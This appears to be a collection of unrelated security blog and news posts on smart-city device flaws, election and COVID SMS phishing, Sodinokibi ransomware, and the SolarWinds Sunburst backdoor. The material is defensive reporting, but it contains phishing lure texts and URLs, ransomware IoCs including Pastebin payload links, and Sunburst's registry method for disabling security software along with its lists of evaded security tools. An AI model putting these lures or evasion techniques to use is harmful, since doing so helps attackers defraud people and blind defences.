In addition, users can also contact their provider and add a PIN code onto their account to prevent unauthorized changes. Depending on the provider, they may have other security options as well.
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Smart City in Practice: Not an Automatic “A”
At BlackHat Conference, researchers uncover new security flaws plaguing some of the devices winding up in use today by Smart Cities
When it comes cyber security, it turns out that you don’t need to be a genius to outsmart Smart Cities.
On paper, the Smart City concept sounds like a swell idea. More cities are digitizing their operations to help municipal administrators manage their departments more efficiently. The introduction of smart devices and networks will transform operations in areas like urban transport and public safety, turning City Hall into a veritable connected big brain that uses the latest technologies to improve the lives of its citizens.
But the Smart City fantasy also raises not a few troubling new cyber security scenarios. A cross-section of the devices in use today are flawed and the implications of these vulnerabilities could have serious consequences.
The latest evidence came Thursday during a presentation at the Black Hat conference in Las Vegas when cyber security researchers disclosed security flaws that have left some Smart City systems vulnerable to hacker mischief and worse – everything from changing traffic signals to opening the sluices on dams.
The problem has to do with design oversights that turn these products into sitting ducks for savvy hackers, who can easily exploit default passwords or take advantage of other security flaws to penetrate networks and carry out attacks. What’s more, many of the vulnerabilities could be exploited without any type of prior expert knowledge.
“Everything we looked at was pretty bad,” said Daniel Crowley, a research director with IBM's X-Force Red. “Whether that says something about the state of smart city security as a whole, who’s to say?”
But for the particular examples that Crowley and his fellow researchers presented, it was bad news in bells.
You also don’t need special sleuthing talent to find out who may have bought a device or what it's being used for. Companies often publish customer case studies about where and how the products are deployed.
For instance, one of the products the researchers highlighted was made by Libelium, which manufactures wireless sensors used in flood monitoring systems. In their demonstration, the researchers were able to exploit flaws in an IoT gateway device from Libelium that granted remote access, allowing anyone to hack into the system and trick the sensors.
Another product made by Echelon and called i.LON, is used to control street lights. But the researchers were able to easily uncover the default passwords stored on many of the devices.
“Once in,” said Crowley, “you can get the cleartext password or replace the binaries via FTP to execute whatever code you like - or lock people out by changing the IP address of the interface
And it’s not hard to find the information, noted fellow-presenter, Jennifer Savage, a security researcher from Threatcare.
“It turns out that the bar is low,” she said, adding that information about many connected Smart City devices is available on the Shodan search engine. The researchers said that a basic shodan.io search found 450 instances of one type of technology that was publicly exposed to the internet.
You also don’t need special sleuthing talent to find out who may have bought a device or what it's being used for. Companies often publish customer case studies about where and how the products are deployed. News reports about Smart City initiatives are also filled with information that hackers may find valuable. What’s more, many cities have open data initiatives where the information is publicly available to anyone.
The companies whose products were involved have since repaired the reported vulnerabilities and issued patches for their devices.
“That was a silver lining,” Crowley said. “At least the vendors understood the flaws and wanted to fix them.”
When historians look back at these sundry glitches, these all may be remembered as the inevitable birthing pains that surround any technology transition. For now, though, George Jetson can wait until urban planners are sure that their systems are secure. As Crowley noted, it’s wise to attach “some amount of security due diligence around the deployment of these devices.”
Given how determined hackers will keep probing for the vulnerabilities that researchers haven't yet uncovered, that’s a bit of advice every smart urban planner ought to tack to their office wall.
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SMS Phishing Attempts Are Riding the Presidential Election Wave
Symantec observed a significant increase in election-associated text messages containing malicious links in run-up to the 2020 election.
SMS-based outreach has become a standard in the political playbook, with candidates and their supporters soliciting financial support, opinions, and votes through texting with increasing frequency and sophistication. In the course of protecting enterprise endpoints, Symantec, a division of Broadcom (NASDAQ: AVGO), has turned up evidence of an increasingly prevalent scam tactic in the run-up to the U.S. presidential election: SMS phishing attempts using bait with campaign, voting, and political themes.
Symantec Endpoint Protection Mobile (SEP Mobile) shields users from SMS phishing attempts by checking URLs found in text messages against the threat intelligence in Symantec WebPulse, part of the Symantec Global Intelligence Network (GIN), and alerting users when the links are suspect.
We took a look at the links contained in SMS messages sent to mobile devices located in the United States between the first week in August and late October 2020 and found a sharp increase during that period in the percentage of election-themed messages containing phishing URLs.
Figure 1. Messages relating to the presidential election 2020 – August 3 to October 19
Over the last three months, we observed the number of election-associated text messages containing links to websites double. Of these messages, we saw the number bringing the user to a scam/phishing/or attack-associated website increase from 1 in 5 (18.3%) to almost half (48.6%).
These attacks have been observed in all regions of the United States, and target the full range of the political spectrum.
Figure 2. Example election-related SMS phishing messages
Mitigation
SMS phishing presents a risk to all smartphone users. In addition to relying on protection like Symantec Endpoint Protection Mobile, it’s a good idea to follow these recommendations:
Be suspicious of texts that contain a call to action, such as a link or a request for you to call or text a phone number.
Be suspicious of messages that include anything suspicious or out of character, including misspelled words or improper grammar.
If you are unsure if a text has come from a legitimate organization, such as a bank or a hospital, for instance, look up their number using directory assistance or other trusted source and call them to check whether they have tried to contact you.
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SMS Phishing Campaigns Take Advantage of Coronavirus Pandemic
Symantec finds that 1 in 20 COVID-19 related SMS messages contain phishing attempts or other high-risk content.
As with all major newsworthy events, it was inevitable that criminals would take advantage of the COVID-19 pandemic. Symantec, a division of Broadcom (NASDAQ: AVGO), has already published blogs detailing how spammers and scammers are using coronavirus-themed lures in their malicious email campaigns, and how malicious Android apps are also exploiting the outbreak. However, a more direct method to target people, and one that is arguably more trusted by users, is via text (SMS) messages sent to mobile phones.
With this in mind, we analyzed links contained within more than 3 million SMS messages from hundreds of thousands of mobile devices from around the world that use Symantec’s mobile security technologies. Symantec Endpoint Protection Mobile (SEP Mobile) shields users from SMS phishing attempts by checking URLs found in text messages against the threat intelligence in Symantec WebPulse, part of the Symantec Global Intelligence Network (GIN), and alerting users when the links are suspect.
While malicious SMS messages often use URL shortening services to evade detection and hide destination URLs that would otherwise appear risky, our technologies follow the attack trail to the final URL destination.
We first began monitoring and evaluating the risk of COVID-19 related SMS messages soon after news of the virus began circulating in December 2019. We observed the first high-risk SMS phishing attack using COVID-19 as bait on January 24, 2020, roughly around the same period as the virus began to receive more media coverage.
Up until March, we observed very few incidents of SMS phishing attacks using COVID-19 as bait. From late January to early March, only 1 in 500 (0.2 percent) COVID-19 related SMS messages were rated as high risk. However, COVID-19 SMS messages sent by scammers followed the same trend line as the coronavirus outbreak, which was officially declared a pandemic in March 2020. The number of high-risk COVID-19 SMS messages quickly increased after this, and by the third week of March, roughly 1 in 20 (5 percent) messages were categorized as a phishing attack or other type of high-risk attack.
We observed several types of COVID-19 related SMS phishing scams. The criminals behind these scams all use the same tactic; taking advantage of people’s fears and financial hardships during the global pandemic in order to lure them in.
The following are just three examples of financial-themed SMS phishing scams that use COVID-19 related lures (Note: Symantec’s mobile security technologies do not collect user-identifying information from SMS messages):
Message: (Notification - ALERT ) Dear client, Scotiabank is working with the Government to make the Emergency Covid-19 Benefits deposits easier. To complete your Benefit demand. Please visit : www.Scotia-0nline.com
Included URL: www.Scotia-0nline.com
Platform: iOS
Apparent sender: [email protected]
Message: TD BANK: We doing an update due to COVID-19. Click to login.
Included URL: https://client-7492703.online
Platform: Android
Apparent sender: +15197551999
Message: URGENT: UKGOV has issued a payment of 458 GBP to all residents as part of its promise to battle COVID 19. TAP here to apply
Included URL: https://uk-covid-19.webredirect.org
Platform: iOS
Apparent sender: covid
SMS Message Trends vs. COVID-19 Outbreak
It's no surprise that SMS related texts and scams follow the same trend lines of the COVID-19 outbreak. What is surprising, however, is the amount of time it took for the scammers to catch up. We observed a significant increase in the number of SMS phishing scams over the third week of March.
Figure 1. All COVID-19 SMS messages March 1 to April 13
Figure 2. High-risk COVID-19 SMS messages March 1 to April 13
Figure 3. Worldwide COVID-19 cases March 1 to April 13
Protection
Install a suitable security app, such as Symantec Endpoint Protection Mobile (SEP Mobile). SEP Mobile extends the power of WebPulse’s URL reputation to modern endpoints, ensuring they receive the same level of protection as traditional endpoints. Employees can safely access the web and apps on their mobile devices, without having to worry about false positives and productivity or latency issues, and organizations reduce the risk that devices will bring malware into the corporate network.
Mitigation
Be suspicious of texts that contain a call to action, such as a link or a request for you to call or text a phone number.
Be suspicious of messages that include anything suspicious or out of character, including misspelled words or improper grammar.
If you are unsure if a text has come from a legitimate organization, such as a bank or a hospital for instance, look up their number using directory assistance or other trusted source and call them to check whether they have tried to contact you.
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Sodinokibi: Ransomware Attackers also Scanning for PoS Software, Leveraging Cobalt Strike
Organizations in the healthcare, services, and food sectors among victims.
Researchers at Symantec, a division of Broadcom (NASDAQ: AVGO), have spotted a Sodinokibi targeted ransomware campaign in which the attackers are also scanning the networks of some victims for credit card or point of sale (PoS) software.
It is not clear if the attackers are targeting this software for encryption or because they want to scrape this information as a way to make even more money from this attack.
The attackers are using the Cobalt Strike commodity malware to deliver the Sodinokibi targeted ransomware to victims. Eight organizations had the Cobalt Strike commodity malware on their systems, with three of the victims subsequently infected with the Sodinokibi ransomware. The victims infected with Sodinokibi were in the services, food, and healthcare sectors. The companies targeted in this campaign were primarily large, even multinational, companies, which were likely targeted because the attackers believed they would be willing to pay a large ransom to recover access to their systems.
The attackers are aiming to make a lot of money - for victims infected with Sodinokibi the ransom requested is $50,000 in the Monero cryptocurrency if paid within the first three hours, and $100,000 after that.
Tactics, tools, and procedures
The attackers leverage legitimate tools in these attacks, and at one point we observed a legitimate remote admin client tool by NetSupport Ltd being used to install components during these attacks. In April, Symantec threat researchers found evidence of Sodinokibi attackers using similar tactics, when they spotted them using a copy of the AnyDesk remote access tool to deliver malware and other tools in at least two attacks.
The attackers in this campaign also use ‘legitimate’ infrastructure to store their payload and for their command and control (C&C) server. The attackers are using code-hosting service Pastebin to host their payload (the Cobalt Strike malware and Sodinokibi) and are using Amazon’s CloudFront service for their C&C infrastructure, to communicate with victim machines.
Pastebin and CloudFront are both legitimate services but have been observed being exploited by bad actors for similar malicious activity in the past. The advantage for malicious actors of using legitimate services to host payloads and for their C&C infrastructure is that traffic to and from a legitimate service is more likely to blend in with an organization’s legitimate traffic, and so is less likely to be flagged as suspicious and blocked.
Cobalt Strike is an off-the-shelf tool that can be used to load shellcode onto victim machines; it has legitimate uses as a penetration testing tool but is frequently exploited by malicious actors. The tactics used in this series of attacks are similar to tactics seen used in other targeted ransomware attacks before. Microsoft released research in April into attacks by six ransomware gangs, including Sodinokibi, and said that many of the groups employ similar tactics. The vector for most attacks observed by Microsoft was either the exploitation of vulnerable network devices or brute-force attacks on Remote Desktop Protocol (RDP) servers, and initial intrusion was followed by the use of living-off-the-land and commodity tools to perform credential theft and lateral movement before deploying the ransomware payload on multiple computers. So the tactics employed in this attack campaign are tactics commonly used by targeted ransomware gangs.
Once on a network, the attackers take various steps to reduce the chance they will be detected and to increase the chances of their attack working. The attackers attempt to disable any security software on the machine so their activity can’t be detected. They also enable remote desktop connections so they can use them to launch malicious commands.
The attackers also appear to be interested in stealing credentials on victim machines, and are observed adding user accounts, presumably in an attempt to maintain persistence on victim machines and also in a further attempt to keep a low profile on victim networks.
We see the attackers using encoded PowerShell commands in some of these attacks. PowerShell is a Windows command line tool that has many legitimate purposes but is also frequently abused for nefarious purposes by malicious actors using living-off-the-land tactics.
We see the Sodinokibi ransomware deployed on three of the victims that were infected with Cobalt Strike.
Sodinokibi
Sodinokibi is a targeted ransomware - we saw targeted ransomware attacks increase by 62 percent in 2019, and targeted ransomware is one of the biggest threats on the cyber security landscape currently.
Sodinokibi (aka REvil) first appeared in April 2019, but the actors behind it are widely believed to be the same actors who operated the GandCrab ransomware. GandCrab was a highly active targeted ransomware that first appeared in 2018. However, in June 2019 its operators announced that they were ‘retiring’, claiming that they had made more than $2 billion from the ransomware. However, it’s widely thought that they simply turned their focus to the Sodinokibi ransomware instead.
Sodinokibi was originally believed to be operated by one group but it is now thought to operate as a ransomware-as-a-service (RaaS), where one group maintains the code and rents it out to other groups, known as affiliates, who carry out attacks and spread the ransomware. Any profits made are then split between the affiliates and the original gang.
Since it appeared on the scene, Sodinokibi has been one of the most prolific targeted ransomware strains and has been seen in numerous high-profile incidents. Actors using Sodinokibi were apparently responsible for the hack of foreign exchange service Travelex on New Year’s Eve. The attack left the company offline for almost a month and caused huge disruption to its business, according to public reports. The attackers were said to have demanded a ransom of $6 million in that incident, with Travelex reportedly eventually paying $2.3 million to regain access to its systems. In January, it was reported that Sodinokibi’s average ransom demand was $260,000, so this was a huge ransom.
Sodinokibi hit several other high-profile companies in the last year and, similar to the Maze ransomware group, announced in December 2019 that it would release data stolen from victims if its ransom demands weren’t met. Since that announcement, the gang has been observed offering the data of victims for sale on hacking forums, and at the beginning of June an auction site was launched where the group said it will sell off stolen data to the highest bidder.
Victims
The three victims that were infected with Sodinokibi in this campaign were in the services, food, and healthcare sectors. The food and the services companies that were infected were both large, multi-site organizations that were likely capable of paying a large ransom - the type of company that would typically be targeted with Sodinokibi. However, the healthcare organization appears to have been a smaller operation. Interestingly, this victim’s systems were also scanned by the attackers for PoS software. It may be that the attackers realized this business might not be in a position to pay the large ransoms usually demanded in a Sodinokibi attack, and so scanned for PoS software to determine if they could profit from the compromise in another way, or they may have been scanning for this kind of software simply to encrypt it too.
Figure. The ransom note seen by victims in this campaign
The attackers requested that the ransom be paid in the Monero cryptocurrency, which is favored for its privacy as, unlike Bitcoin, you cannot necessarily track transactions. For this reason we do not know if any of the victims paid the ransom, which was $50,000 if paid in the first three hours, rising to $100,000 after that time.
Conclusion
While many of the elements of this attack are ‘typical’ tactics seen in previous attacks using Sodinokibi, the scanning of victim systems for PoS software is interesting, as this is not typically something you see happening alongside targeted ransomware attacks. It will be interesting to see if this was just opportunistic activity in this campaign, or if it is set to be a new tactic adopted by targeted ransomware gangs.
One thing that is clear is the actors using Sodinokibi are sophisticated and skilled and show no sign that their activity is likely to decrease anytime soon. The companies targeted with this ransomware tend to be large corporate organizations, so companies like this need to be aware of the threat posed by this kind of activity.
Endpoint Protection
Ransom.Sodinokibi
Trojan.Agentemis (aka Cobalt Strike)
Indicators of Compromise (IoCs)
Indicators of Compromise (IoCs)
2d22d812117ff4ca4d8bcbd45ec20c77f52e907bf7320d44f6a4fd6c7beb066e
362fc55f5cd3d5338827de0eafdb7eb34c26885345706852184db95ad9996a5c
462257012d62ead365af0198457c64cc07a0597461ce79496c0f22b91273dcde
982f8e3329ef811bde84fd0cd5009dbfda6ed5e22e10eea796ac128e787f4f50
d41fd38a8478bf788f5dc0acf0e070dd360ddc9bfff0804e6b5254cc0116aa81
102.129.224.148
23.81.143.21
5.101.0.202
d2zblloliromfu.cloudfront.net
https://pastebin.com/raw/09FvgM1g
https://pastebin.com/raw/4DhjNfkK
https://pastebin.com/raw/kehkNbH6
https://pastebin.com/raw/Q9FdzgH2
https://pastebin.com/raw/QtwtkUR0
Symantec Enterprise Blogs
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7 MIN READ
Targeted Ransomware: Proliferating Menace Threatens Organizations
With several new targeted ransomware groups emerging over the past two years, the number of organizations being hit by targeted ransomware attacks has multiplied.
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SolarWinds Attacks: Stealthy Attackers Attempted To Evade Detection
In the first of a series of follow-up analysis on the SolarWinds attacks, we take a look at how the attackers disabled security software and avoided detection
As we continue our analysis on the tools used in the SolarWinds attacks, one of the most striking aspects we’ve noticed is how careful the attackers were to avoid drawing attention to themselves. Software supply chain attacks are relatively stealthy to begin with, since signed software from a trusted source is less likely to raise red flags. However, the attackers weren’t content to rely on the cover this provided and also took several other steps to avoid detection.
To begin with, the Sunburst backdoor (Backdoor.Sunburst), which was delivered using a Trojanized update to SolarWinds Orion, sets a delay time of up to 14 days before execution. In other words, no malicious activity will begin until this period has elapsed.
The length of time selected is most likely to increase the likelihood that the log entries of the initial malicious activity have been deleted before any subsequent post-breach activity is initiated, thereby making it difficult to correlate the two sets of malicious events. Many organizations, including even managed security services providers (MSSPs), will often purge their security logs after seven days to minimize storage costs and make searching them easier.
Sunburst will also check the current Windows domain the machine belongs to. If the domain contains the string 'test' or one of 13 additional specific domains that appear related to lab systems such as “swdev.local” and “apac.lab”, the threat will cease to execute. A full list is in Appendix A.
Avoiding Security Software and Researchers
Attacks begin with a Trojanized version of SolarWinds’ Orion software. The attackers modified Orion in order to deliver the Sunburst backdoor to the computer. Sunburst is first stage malware, designed to perform reconnaissance on the infected computer, perform checks for security tools, and deliver a second stage payload, if required.
The main Sunburst code is contained in a class named SolarWindows.Orion.Core.BusinessLayer that, when first instantiated, calls a member function called Update. The function name is a ruse, as the code does not perform any update, but instead is designed to disable security software, avoid security researcher systems, and possibly avoid running on systems not of interest to the attackers. The function contains three lists – a list of process names, a list of driver filenames, and a list of processes and service name pairs. These names are all obfuscated in the code by hashing them using the FNV1A algorithm and using variable names that masquerade as timestamps.
The function will:
Get a list of running processes.
Check if the process names match items on the process list
Get a list of all installed drivers
Check if the driver names match items on the drivers list
If a match is found, the malicious code does not perform further actions and returns
This process and driver list contains tools that commonly run on security researcher systems and thus, this functionality appears to be designed not to run on such systems in order to avoid discovery. The full list of security tools can be found in Appendix A. Furthermore, the lists also contained names related to a variety of security software programs including:
Security software process names
AVG/AVAST
Panda
Kaspersky
Tanium
Driver names
CyberArk - cybkerneltracker.sys
Altiris Symantec - atrsdfw.sys (Ghost Pre-installation boot environment driver)
Raytheon Cyber Solutions - eaw.sys
CJSC Returnil Software - rvsavd.sys
Verasys Digital Guardian - dgdmk.sys
Sentinel One – sentinelmonitor.sys
Hexis Cyber Solutions - hexisfsmonitor.sys
Dell SecureWorks - groundling32.sys, groundling64.sys
SAFE-Cyberdefense - safe-agent.sys
Cybereason – crexecprev.sys
Absolute - psepfilter.sys, cve.sys
Bromium - brfilter.sys, brcow_x_x_x_x.sys
LogRhythm - lragentmf.sys
OESIS OPSwat - libwamf.sys
The security vendors on this list have most likely been chosen as the attacker has determined that their products are unlikely be installed at organizations of interest to the attackers. Given the indiscriminate nature of supply chain as a vector, with an estimated 18,000 SolarWinds customers affected, the attackers probably wanted to avoid any risk of detection in organizations that weren’t of interest to them.
Interestingly, the process solarwindsdiagnostics is also blacklisted. Presumably this is included to avoid detection during any SolarWinds testing or troubleshooting.
Disabling security software
Sunburst also attempts to specifically disable some software security services via the registry. This allows Sunburst to perform its malicious actions completely undetected. If the attackers worked quickly and restored the services afterwards, a security administrator would potentially have no record of the activity, nor have even noticed the temporary lack of protection.
Figure 1. Example of how Sunburst disables security software. In this case it checks if the CrowdStrike processes csfalconservice or csfalconcontainer are running, and if so, it sets the csagent, csfalconservice, and csdevicecontrol services to be disabled.
This function will:
Get a list of running processes
Check if the process names match items on the process/services name pair list
Disable the security software by modifying its service registry entry
After the software has been confirmed to be disabled, usually after a reboot, the malicious code will then contact the command and control (C&C) server and potentially perform further malicious actions
To disable the security software, Sunburst will simply set the products’ service start setting to Disabled. In Windows, this is done by setting the registry keys:
HKLM\ SYSTEM\CurrentControlSet\services\<service name>\Start = 4
This will cause the security software not to load at the next reboot.
It should be noted that the attackers do not attempt to disable any Symantec products. Presumably this is because of an anti-tampering feature in Symantec software, which prevents its own service from being disabled.
The process and services pair list include software from the following vendors:
CrowdStrike
Carbon Black
FireEye
ESET
F-Secure
Interestingly, the list also included Microsoft Defender, but only the service key permissions are changed. Currently, this has an unknown effect. In addition, some other unknown products are also included, but were effectively commented out. The attackers may have discovered this technique was ineffective for these products.
Finally, Sunburst will check if api.solarwinds.com resolves to a valid address before continuing.
Low profile threat
The SolarWinds attacks are among the best-planned and adept attacks we have seen in recent years. The attackers have gone to great lengths to both find an effective path into their targeted organizations and, once inside their networks, maintain a low profile. Our analysis of these tools is ongoing and we plan to publish further blogs in the coming weeks.
Protection/Mitigation
Tools associated with these attacks will be detected and blocked on machines running Symantec Endpoint products.
File-based protection:
Backdoor.Sunburst
Backdoor.Sunburst!gen1
Backdoor.SuperNova
Backdoor.Teardrop
Network-based protection:
System Infected: Sunburst Malware Activity
Appendix A
Drivers Avoided
Driver FNV1A Hash Description
ybkerneltracker.sys 17097380490166623672
atrsdfw.sys 15194901817027173566 Altiris Symantec (Ghost Preinstallion boot environment driver)
eaw.sys 12718416789200275332 Raytheon Cyber Solutions
rvsavd.sys 18392881921099771407 CJSC Returnil Software
dgdmk.sys 3626142665768487764 Verdasys
sentinelmonitor.sys 12343334044036541897 Sentinel
hexisfsmonitor.sys 397780960855462669 Sentinel One
groundling32.sys 6943102301517884811 Dell SecureWorks
groundling64.sys 13544031715334011032 Dell SecureWorks
safe-agent.sys 11801746708619571308 SAFE-Cyberdefense
crexecprev.sys 18159703063075866524 Absolute (Palisade Systems)
psepfilter.sys 835151375515278827 Absolute
cve.sys 16570804352575357627 Absolute
brfilter.sys 1614465773938842903 Bromium
brcow_x_x_x_x.sys 12679195163651834776 Bromium
lragentmf.sys 2717025511528702475 LogRhythm
libwamf.sys 17984632978012874803 OESIS OPSwat
Security Tools Avoided
Tool FNV1A Hash
apimonitor-x64 2597124982561782591
apimonitor-x86 2600364143812063535
autopsy64 13464308873961738403
autopsy 4821863173800309721
autoruns64 12969190449276002545
autoruns 3320026265773918739
autorunsc64 12094027092655598256
autorunsc 10657751674541025650
binaryninja 11913842725949116895
blacklight 5449730069165757263
cff explorer 292198192373389586
cutter 12790084614253405985
de4dot 5219431737322569038
debugview 15535773470978271326
diskmon 7810436520414958497
dnsd 13316211011159594063
dnspy 13825071784440082496
dotpeek32 14480775929210717493
dotpeek64 14482658293117931546
dumpcap 8473756179280619170
evidence center 3778500091710709090
exeinfope 8799118153397725683
fakedns 12027963942392743532
fakenet 576626207276463000
ffdec 7412338704062093516
fiddler 682250828679635420
fileinsight 13014156621614176974
floss 18150909006539876521
gdb 10336842116636872171
hiew32 13260224381505715848
unknown 17956969551821596225
hiew32demo 12785322942775634499
idaq64 8709004393777297355
idaq 14256853800858727521
idr 8129411991672431889
ildasm 15997665423159927228
ilspy 10829648878147112121
jd-gui 9149947745824492274
lordpe 3656637464651387014
officemalscanner 3575761800716667678
ollydbg 4501656691368064027
pdfstreamdumper 10296494671777307979
pe-bear 14630721578341374856
pebrowse64 4088976323439621041
peid 9531326785919727076
pe-sieve32 6461429591783621719
pe-sieve64 6508141243778577344
pestudio 10235971842993272939
peview 2478231962306073784
pexplorer 9903758755917170407
ppee 14710585101020280896
procdump64 13611814135072561278
procdump 2810460305047003196
processhacker 2032008861530788751
procexp64 27407921587843457
procexp 6491986958834001955
procmon 2128122064571842954
prodiscoverbasic 10484659978517092504
py2exedecompiler 8478833628889826985
r2agent 10463926208560207521
rabin2 7080175711202577138
radare2 8697424601205169055
ramcapture64 7775177810774851294
ramcapture 16130138450758310172
reflector 506634811745884560
regmon 18294908219222222902
resourcehacker 3588624367609827560
retdec-ar-extractor 9555688264681862794
retdec-bin2llvmir 5415426428750045503
retdec-bin2pat 3642525650883269872
retdec-config 13135068273077306806
retdec-fileinfo 3769837838875367802
retdec-getsig 191060519014405309
retdec-idr2pat 1682585410644922036
retdec-llvmir2hll 7878537243757499832
retdec-macho-extractor 13799353263187722717
retdec-pat2yara 1367627386496056834
retdec-stacofin 12574535824074203265
retdec-unpacker 16990567851129491937
retdec-yarac 8994091295115840290
rundotnetdll 13876356431472225791
sbiesvc 14968320160131875803
scdbg 14868920869169964081
scylla_x64 106672141413120087
scylla_x86 79089792725215063
shellcode_launcher 5614586596107908838
solarwindsdiagnostics 3869935012404164040
sysmon64 3538022140597504361
sysmon 14111374107076822891
task explorer 7982848972385914508
task explorer-x64 8760312338504300643
tcpdump 17351543633914244545
tcpvcon 7516148236133302073
tcpview 15114163911481793350
vboxservice 15457732070353984570
win32_remote 16292685861617888592
win64_remotex64 10374841591685794123
windbg 3045986759481489935
windump 17109238199226571972
winhex64 6827032273910657891
winhex 5945487981219695001
winobj 8052533790968282297
wireshark 17574002783607647274
x32dbg 3341747963119755850
x64dbg 14193859431895170587
xwforensics 17683972236092287897
xwforensics64 17439059603042731363
Security Software Avoided
Vendor Process FNV1A Hash
Panda psanhost 2532538262737333146
psuaservice 4454255944391929578
psuamain 6088115528707848728
Kaspersky avp 13611051401579634621
avpui 18147627057830191163
ksde 17633734304611248415
ksdeui 13581776705111912829
Tanium tanium 7175363135479931834
taniumclient 3178468437029279937
taniumdetectengine 13599785766252827703
taniumendpointindex 6180361713414290679
taniumtracecli 8612208440357175863
taniumtracewebsocketclient64 8408095252303317471
AVG/AVAST aswidsagent 2934149816356927366
aswidsagenta 13029357933491444455
aswengsrv 6195833633417633900
avastavwrapper 2760663353550280147
avgsvc 3660705254426876796
avgui 12709986806548166638
avgsvca 3890794756780010537
avgidsagent 2797129108883749491
avgsvcx 3890769468012566366
avgwdsvcx 14095938998438966337
avgadminclientservice 11109294216876344399
afwserv 1368907909245890092
avastui 11818825521849580123
avastsvc 8146185202538899243
bccavsvc 16423314183614230717
Domains Avoided
Domain FNV1A Hash
swdev.local 1109067043404435916
swdev.dmz 15267980678929160412
lab.local 8381292265993977266
lab.na 3796405623695665524
emea.sales 8727477769544302060
cork.lab 10734127004244879770
dev.local 11073283311104541690
dmz.local 4030236413975199654
pci.local 7701683279824397773
saas.swi 5132256620104998637
lab.rio 5942282052525294911
lab.brno 4578480846255629462
apac.lab 16858955978146406642
Service Disablement List
Vendor Process Names Service Names
Carbon Black cavp carbonblack
cb carbonblackk
cbcomms
cbstream
CrowdStrike csfalconservice csagent
csfalconcontainer csdevicecontrol
csfalconservice
FireEye xagt xagt
xagtnotif fe_avk
fekern
feelam
3320767229281015341 (unknown)
ESET ekrn eamonm
eguiproxy eelam
egui ehdrv
ekrn
2589926981877829912 (unknown)
epfwwfp
ekbdflt
epfw
F-Secure fsgk32st 17624147599670377042 (unknown)
fswebuid 16066651430762394116 (unknown)
fsgk32 13655261125244647696 (unknown)
fsma32 fsaua
fssm32 fsma
fnrb32 3425260965299690882 (unknown)
fsaua fsbts
fsorsp fsni
fsav32 fsvista
13783346438774742614 (unknown)
2380224015317016190 (unknown)
fses
fsfw
fsdfw
fsaus
fsms
fsdevcon
14243671177281069512 (unknown)
16112751343173365533 (unknown)
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SolarWinds CEO: Hackers Breached Our System Earlier than First Thought
Sudhakar Ramakrishna also walks back earlier company statement blaming intern for security lapse that led to the breach
The RSA Conference 2021 Virtual Experience is happening May 17-20 and Symantec, as a division of Broadcom, will be providing a summary of some of the leading stories from the conference to help you stay informed.
SolarWinds CEO Sudhakar Ramakrishna revised the timetable of a major breach of the company’s computer systems, suggesting that hackers believed to be working on behalf of the Russian government launched their attack against the company about half a year earlier than initially believed.
The narrative until now was that attackers first compromised SolarWinds systems in September of 2019 and remained undetected until December 2020.
“What we have found more recently is that the attackers may have been in an environment as early as January, 2019,” said Ramakrishna, who offered more details about the hack during an appearance at the RSA Conference 2021. “As we look back, they were doing very early recon activities in January of 2019, uh, which explains what they were able to do in September, October of 2019 as well.
“The tradecraft that the attackers used was extremely well done and extremely sophisticated, where they did everything possible to hide in plain sight, so to speak,” Ramakrishna added.
The damage is still being sorted out on what experts say rates as one of the biggest cyber attacks in American history. Hackers believed to be working on behalf of Russia penetrated SolarWinds' systems and then injected malicious code into the company's code.
That proved problematic because approximately 33,000 customers rely on SolarWinds' "Orion" system to manage their IT resources. As SolarWinds sent software updates to customers, the infected code created a backdoor that the attackers were able to use to spy or install more malware. SolarWinds’ customers include a variety of U.S. government agencies such as the Homeland Security Department and State Department as well as IT companies and non-governmental agencies throughout the world.
The damage is still being sorted out on what experts say rates as one of the biggest cyber attacks in American history.
“We were looking for all the usual clues,” according to Ramakrishna, who said that SolarWinds investigators examined “hundreds of terabytes of data and thousands of virtual build systems across the environment.”
“When you go through an investigation, you have a checklist. You have a set of hypotheses. You try to map things. And in this particular case, given the amount of time [the attackers] spent and given the deliberateness that they had in their efforts, they were able to cover their fingerprints, cover their tracks at every step of the way.”
He also said that SolarWinds found itself up against a nation-state, making it even more difficult to figure out what happened given the resource imbalance.
“It was a very difficult thing to uncover,” he said.
The disclosure may raise further concerns about how many organizations were actually breached and the full extent of the damage. Earlier this week, Rear Adm. William Chase, the deputy principal cyber advisor for the DOD, told the Senate Armed Services Cyber Security Subcommittee that 37 defense industrial base companies were attacked. SolarWinds critics have blamed the attack on its management, suggesting that it had shortchanged cyber security investment in its products in order to maximize profit and increase shareholder value. The company’s two primary owners are the private-equity firms Silver Lake and Thoma Bravo.
Lessons Learned
Three days after his appointment as the company’s new CEO, Ramakrishna was celebrating his birthday with his family when the company’s chief legal officer called; FireEye was reporting the existence of a backdoor in SolarWinds’ Orion platform. The next day, he said, SolarWinds notified Orion customers about the compromise, urging them to upgrade immediately to a new software version that addressed the security vulnerability.
Since then, he said, the company is working “one customer at a time, essentially one day at a time” to repair the damage.
The company has since put in place a program to assist customers that may not have the internal resources to upgrade or rebuild their systems by themselves.
“We felt it was our responsibility to help the customers get to a stable and secure environment,” he said. “This is going to be an ongoing thing as we move into the future.”
The company has since put in place a program to assist customers that may not have the internal resources to upgrade or rebuild their systems by themselves.
Ramakrishna also used the occasion of his public appearance at RSA to walk back earlier statements by the company that blamed an intern for the lapse in password security at SolarWinds during February testimony before Congress.
“So what happened at the congressional hearings where we attributed it to an intern was not appropriate and is not what we are about,” he said. “And so we have learned from that and I want to reset it here by saying that we are a very safe environment and we want to attract and retain the best talent.”
Rewinding the clock, Ramakrishna said SolarWinds was caught flat-footed after finding itself at the center of a media storm when the news broke.
“SolarWinds historically has kept to itself, focusing on customers, focusing on itself internally, and it was never trying to grab attention,” he said. “In this particular case, the attention was thrust upon us. And if I thought about one area where we were not fully prepared, unlike some companies that have armies of PR people just managing the message – and in many cases neutralizing it – we were not prepared.”
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SolarWinds: How a Rare DGA Helped Attacker Communications Fly Under the Radar
In the second of a series of follow-up analysis on the SolarWinds attacks, we examine how the attackers made command and control communications particularly stealthy.
In the weeks since news of the SolarWinds attacks broke, we’ve continued our analysis into the tools used by the attackers. One of the most interesting things we’ve seen is the way the attackers configured their malware in order to contact a command and control (C&C) server via DNS communications. It’s a technique that is rarely used, but there have been some reports of other APT groups such as Crambus (aka Oilrig) using it previously.
Sunburst (Backdoor.Sunburst), the malware which was used to Trojanize the SolarWinds Orion software, uses a domain generation algorithm (DGA) to generate domain names to contact for C&C purposes. However, unlike most DGAs, this DGA does not just randomly generate characters. Instead, information is encoded into the text that makes up the generated domain names. By doing so, initial C&C actually happens via DNS, which provides a stealthier level of communications.
